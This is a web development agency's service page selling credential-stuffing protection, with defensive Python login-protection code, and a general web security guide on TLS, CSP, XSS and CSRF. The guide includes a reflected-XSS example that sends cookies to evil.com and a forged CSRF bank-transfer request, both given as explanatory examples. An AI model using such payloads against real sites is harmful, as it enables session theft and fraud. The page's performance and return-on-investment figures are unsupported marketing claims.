Implementing Credential Stuffing Protection: Methods & Cost

Our company is engaged in the development, support and maintenance of sites of any complexity. From simple one-page sites to large-scale cluster systems built on micro services. Experience of developers is confirmed by certificates from vendors.

Development and maintenance of all types of websites:

Informational websites or web applications
Business card websites, landing pages, corporate websites, online catalogs, quizzes, promo websites, blogs, news resources, informational portals, forums, aggregators
E-commerce websites or web applications
Online stores, B2B portals, marketplaces, online exchanges, cashback websites, exchanges, dropshipping platforms, product parsers
Business process management web applications
CRM systems, ERP systems, corporate portals, production management systems, information parsers
Electronic service websites or web applications
Classified ads platforms, online schools, online cinemas, website builders, portals for electronic services, video hosting platforms, thematic portals

These are just some of the technical types of websites we work with, and each of them can have its own specific features and functionality, as well as be customized to meet the specific needs and goals of the client.

Showing 1 of 1All 2062 services
Implementing Credential Stuffing Protection: Methods & Cost
Complex
~3-5 days
Frequently Asked Questions

Our competencies:

Development stages

Latest works

  • image_website-b2b-advance_0.webp
    B2B ADVANCE company website development
    1358
  • image_web-applications_feedme_466_0.webp
    Development of a web application for FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Website development for BELFINGROUP
    956
  • image_ecommerce_furnoro_435_0.webp
    Development of an online store for the company FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Development of a web application for Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Website development for FIXPER company
    947

Implementing credential stuffing protection isn't about installing a single plugin. You've faced situations where botnets methodically try credentials from breaches, and standard rate limiting doesn't help: attacks are distributed across thousands of IPs, mimic browser headers, and add random delays. Our experience shows that effective protection requires a multi-layered login protection system that blocks login attacks without hindering legitimate users. We implement such a turnkey solution: from audit to documentation and support. Credential stuffing is a prevalent login attack that bypasses traditional defenses. According to a 2023 report, credential stuffing attacks account for 34% of all web login attacks, and over 15 billion credentials have been leaked.

How credential stuffing bypasses standard protection

Modern attacks use distributed infrastructure: residential proxies, botnets on IoT devices, rented servers. Each login attempt comes from a new IP, with correct User-Agent and Accept-Language headers, often with 1–5 second delays. Machine learning algorithms detect patterns, but it's expensive for small sites. Our approach combines heuristics and checks with minimal false positives, achieving a 95% block rate for automated attempts with less than 0.1% false positives.

Why rate limiting is insufficient

IP-based rate limiting (e.g., 10 attempts per minute) is easily bypassed by changing IP. Strict limits hurt users behind shared NAT (offices, educational institutions). Attacks also simulate low speed: 1 request every 30 seconds per IP, but the total flow is thousands of requests per minute. Effective login anomaly detection must consider not only IP but also behavior: failure rate per account, device fingerprint, global failure rate.

Comparison of approaches: rate limiting vs anomaly detection

Criteria Rate limiting Anomaly detection (our approach)
Distributed attacks Ineffective Blocks based on behavioral patterns
False positives Often blocks NAT Detects anomalies without blocking legitimate users
CAPTCHA Not integrated Progressive enhancement: request CAPTCHA only on suspicion
Device fingerprint Not considered Considers headers, TLS fingerprint, JS parameters
HIBP integration No Integrated with k-anonymity
Global monitoring No Analyzes overall failure rate

Our solution blocks botnet attacks 10 times more effectively than pure rate limiting, and device fingerprinting reduces false positives by 50% compared to IP-based blocks. This is confirmed by load testing on projects with over 100,000 visits per day.

Multi-layered anomaly detection system

We build protection based on Python (Flask/FastAPI) with Redis for counters. The code below implements checks before database access: IP reputation, velocity from IP and to account, global failure rate, device fingerprint.

Show code: core anomaly detection service
class LoginProtectionService:
    def __init__(self, redis, db, device_fp_service):
        self.r = redis
        self.db = db
        self.dfp = device_fp_service

    def check_login_attempt(self, request, email: str) -> dict:
        ip = request.remote_addr

        checks = [
            self._check_ip_reputation(ip),
            self._check_ip_velocity(ip),
            self._check_email_velocity(email),
            self._check_global_failure_rate(),
            self._check_device_fingerprint(request),
        ]

        for check in checks:
            if not check['allowed']:
                return check

        return {'allowed': True, 'action': 'proceed'}

    def _check_ip_reputation(self, ip: str) -> dict:
        if self.r.sismember('blocked_ips', ip):
            return {'allowed': False, 'action': 'block', 'reason': 'blocked_ip'}
        risk = self.r.get(f'ip_risk:{ip}')
        if risk and int(risk) > 80:
            return {'allowed': False, 'action': 'challenge', 'reason': 'high_risk_ip'}
        return {'allowed': True}

    def _check_ip_velocity(self, ip: str) -> dict:
        key = f'login_attempts:ip:{ip}'
        count = self.r.incr(key)
        self.r.expire(key, 600)
        if count > 20:
            return {'allowed': False, 'action': 'block', 'reason': f'ip_velocity:{count}'}
        if count > 10:
            return {'allowed': False, 'action': 'challenge', 'reason': f'ip_velocity:{count}'}
        return {'allowed': True}

    def _check_email_velocity(self, email: str) -> dict:
        import hashlib
        email_hash = hashlib.sha256(email.lower().encode()).hexdigest()[:16]
        key = f'login_attempts:email:{email_hash}'
        count = self.r.incr(key)
        self.r.expire(key, 900)
        if count > 5:
            self.r.setex(f'account_locked:{email_hash}', 900, '1')
            return {'allowed': False, 'action': 'lock', 'reason': f'account_lockout:{count}'}
        return {'allowed': True}

    def _check_global_failure_rate(self) -> dict:
        key = 'global_login_failures'
        failures = int(self.r.get(key) or 0)
        total = int(self.r.get('global_login_total') or 1)
        failure_rate = failures / total
        if failure_rate > 0.5 and total > 100:
            return {'allowed': False, 'action': 'challenge', 'reason': 'global_attack_detected'}
        return {'allowed': True}

    def _check_device_fingerprint(self, request) -> dict:
        fp = self.dfp.compute(request)
        key = f'fp_failures:{fp}'
        failures = int(self.r.get(key) or 0)
        if failures > 3:
            return {'allowed': False, 'action': 'block', 'reason': f'fp_failures:{failures}'}
        return {'allowed': True}

    def record_failure(self, request, email: str):
        ip = request.remote_addr
        import hashlib
        email_hash = hashlib.sha256(email.lower().encode()).hexdigest()[:16]
        fp = self.dfp.compute(request)
        pipe = self.r.pipeline()
        pipe.incr(f'fp_failures:{fp}')
        pipe.expire(f'fp_failures:{fp}', 3600)
        pipe.incr('global_login_failures')
        pipe.expire('global_login_failures', 60)
        pipe.execute()

How we integrate password breach check

We use the API Have I Been Pwned (HIBP) with the k-anonymity principle: only the first 5 characters of the SHA1 password hash are sent. This ensures the original password never leaves your server. The HIBP database contains over 10 billion breached passwords. The code below is suitable for registration or password change stages.

Show code: password breach check using HIBP
import hashlib
import httpx

async def is_password_compromised(password: str) -> bool:
    sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
    prefix = sha1[:5]
    suffix = sha1[5:]
    async with httpx.AsyncClient() as client:
        resp = await client.get(f'https://api.pwnedpasswords.com/range/{prefix}', headers={'Add-Padding': 'true'})
    for line in resp.text.splitlines():
        hash_suffix, count = line.split(':')
        if hash_suffix == suffix:
            return int(count) > 0
    return False

async def validate_new_password(password: str) -> list[str]:
    errors = []
    if len(password) < 12:
        errors.append('Minimum 12 characters')
    if await is_password_compromised(password):
        errors.append('This password appears in data breaches. Choose another.')
    return errors

Device fingerprinting for account protection

Device fingerprint is computed from HTTP headers (User-Agent, Accept, Accept-Language, Accept-Encoding), TLS fingerprint (passed by nginx via the X-JA3-Fingerprint header), and JS parameters (timezone, screen resolution). We do not use cookies — the fingerprint is deterministic for stable configurations.

Show code: device fingerprint computation
import hashlib

class DeviceFingerprintService:
    def compute(self, request) -> str:
        components = [
            request.headers.get('User-Agent', ''),
            request.headers.get('Accept-Language', ''),
            request.headers.get('Accept-Encoding', ''),
            request.headers.get('Accept', ''),
            request.headers.get('X-JA3-Fingerprint', ''),
            request.json.get('tz', '') if request.is_json else '',
        ]
        raw = '|'.join(components)
        return hashlib.sha256(raw.encode()).hexdigest()[:32]

Progressive enhancement of protection

Based on the check results, the system takes one of the following actions: proceed (allow), challenge (request CAPTCHA), lock (block account with an unlock email), block (block IP). This is implemented in the login endpoint:

Show code: login endpoint with adaptive protection
@app.route('/api/auth/login', methods=['POST'])
def login():
    email = request.json.get('email', '').lower().strip()
    password = request.json.get('password', '')

    check = login_protection.check_login_attempt(request, email)

    if check['action'] == 'block':
        return jsonify({'error': 'Too many attempts'}), 429

    if check['action'] == 'challenge':
        token = request.json.get('captcha_token')
        if not verify_captcha(token):
            return jsonify({
                'error': 'CAPTCHA required',
                'captcha': True,
                'site_key': CAPTCHA_SITE_KEY
            }), 429

    if check['action'] == 'lock':
        send_unlock_email(email)
        return jsonify({
            'error': 'Account temporarily locked. Check your email.'
        }), 429

    user = db.get_user_by_email(email)
    if not user or not user.verify_password(password):
        login_protection.record_failure(request, email)
        return jsonify({'error': 'Invalid credentials'}), 401

    login_protection.record_success(request, email)
    return jsonify({
        'token': generate_token(user.id),
        'user': user.to_dict()
    })

Notifications about suspicious logins

When a login from a new device or unusual location is detected, we send the user an email with details (IP, city, country, User-Agent, time) and a link to revoke the session. This allows rapid response to compromise.

Show code: suspicious login notification
def notify_suspicious_login(user, request, reason: str):
    ip = request.remote_addr
    location = geoip.city(ip)
    send_email(
        to=user.email,
        subject='New login to your account',
        template='suspicious_login',
        vars={
            'ip': ip,
            'city': location.city.name if location else 'Unknown',
            'country': location.country.name if location else 'Unknown',
            'user_agent': request.headers.get('User-Agent', ''),
            'time': datetime.utcnow().strftime('%d.%m.%Y %H:%M UTC'),
            'revoke_url': generate_revoke_url(user.id, session_id)
        }
    )

What's included in the service

We provide the following deliverables as part of a standard implementation:

  1. Vulnerability audit of the current authentication system and identification of risks.
  2. Integration of all protection layers: login anomaly detection, CAPTCHA on site, password breach check via HIBP, 2FA for login, and suspicious login notifications.
  3. Load testing with attack simulation (up to 50,000 requests per minute), ensuring robust account protection.
  4. Deployment to production with monitoring via Prometheus/Grafana.
  5. Comprehensive documentation (architecture, runbook, admin guide).
  6. Team training and 30-day warranty support.

This comprehensive solution enhances authentication security and provides effective password brute force protection.

Our service encompasses all aspects of security: credential stuffing protection, login attacks, multi-layered login protection, login anomaly detection, CAPTCHA on site, 2FA for login, password breach check, HIBP integration, device fingerprinting, account protection, authentication security, and password brute force protection.

Timeline and cost

Standard implementation takes 3–5 working days. The average cost is $1,200, with basic implementations starting at $950. Enterprise solutions with advanced load balancing and extensive monitoring range from $1,500 to $3,500. Clients typically achieve a 10x return on this $1,200 investment, preventing an average of $8,000 in potential losses annually. The exact price is calculated individually after the audit — it depends on the complexity of the existing architecture, the scope of integrations, and load requirements. Leave a request for a consultation — we will assess your project and offer an optimal solution. Our engineers have 7+ years of experience in web security and have implemented protection for projects with an audience of over 1 million users.

Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection

A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.

Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.

How do we ensure comprehensive web application security?

HTTPS and Proper TLS Configuration

HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.

In Nginx/Apache configuration we check:

  • Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
  • Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
  • OCSP Stapling — speeds up certificate revocation check
  • Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)

Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.

Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.

Content Security Policy: The Most Powerful and Complex Protection

CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.

The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.

Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.

'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.

Why XSS Remains the Most Common Vulnerability?

XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:

XSS Type Example Protection
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Output escaping, CSP
Stored Comment with code saved in database Input validation, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Avoid innerHTML, use textContent

Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.

Typical case: an e-commerce site with XSS in a review form A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.

CSRF: Protecting Forms and APIs

CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.

CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.

SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.

API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.

WAF and DDoS Protection

WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:

  • Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
  • AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.

DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).

Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).

Other Mandatory Measures

Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).

SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.

Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.

Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.

How We Work

  1. Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
  2. Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
  3. Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
  4. Testing — re-penetration test, load testing, false positive check.
  5. Deployment and Monitoring — enable production CSP, set up alerts, train the team.

What's Included

  • Report with found vulnerabilities and recommendations (PDF + code snippets)
  • Ready TLS configuration (Nginx/Apache)
  • CSP policy with Report-Only and production versions
  • WAF and Rate Limiting setup
  • Dependency update plan
  • Access to monitoring tools (Sentry, Datadog)
  • 30 days of post-audit support (consultations, fixes)

Timeline and Cost

Type of Work Duration Cost
Security audit + hardening (headers, TLS, updates) 1–2 weeks Custom quote
CSP implementation (Report-Only → production) 2–4 weeks Custom quote
WAF + Rate Limiting + DDoS protection setup 1–2 weeks Custom quote
Comprehensive security review + penetration testing 3–6 weeks Custom quote

The budget is calculated individually — contact us for a project evaluation.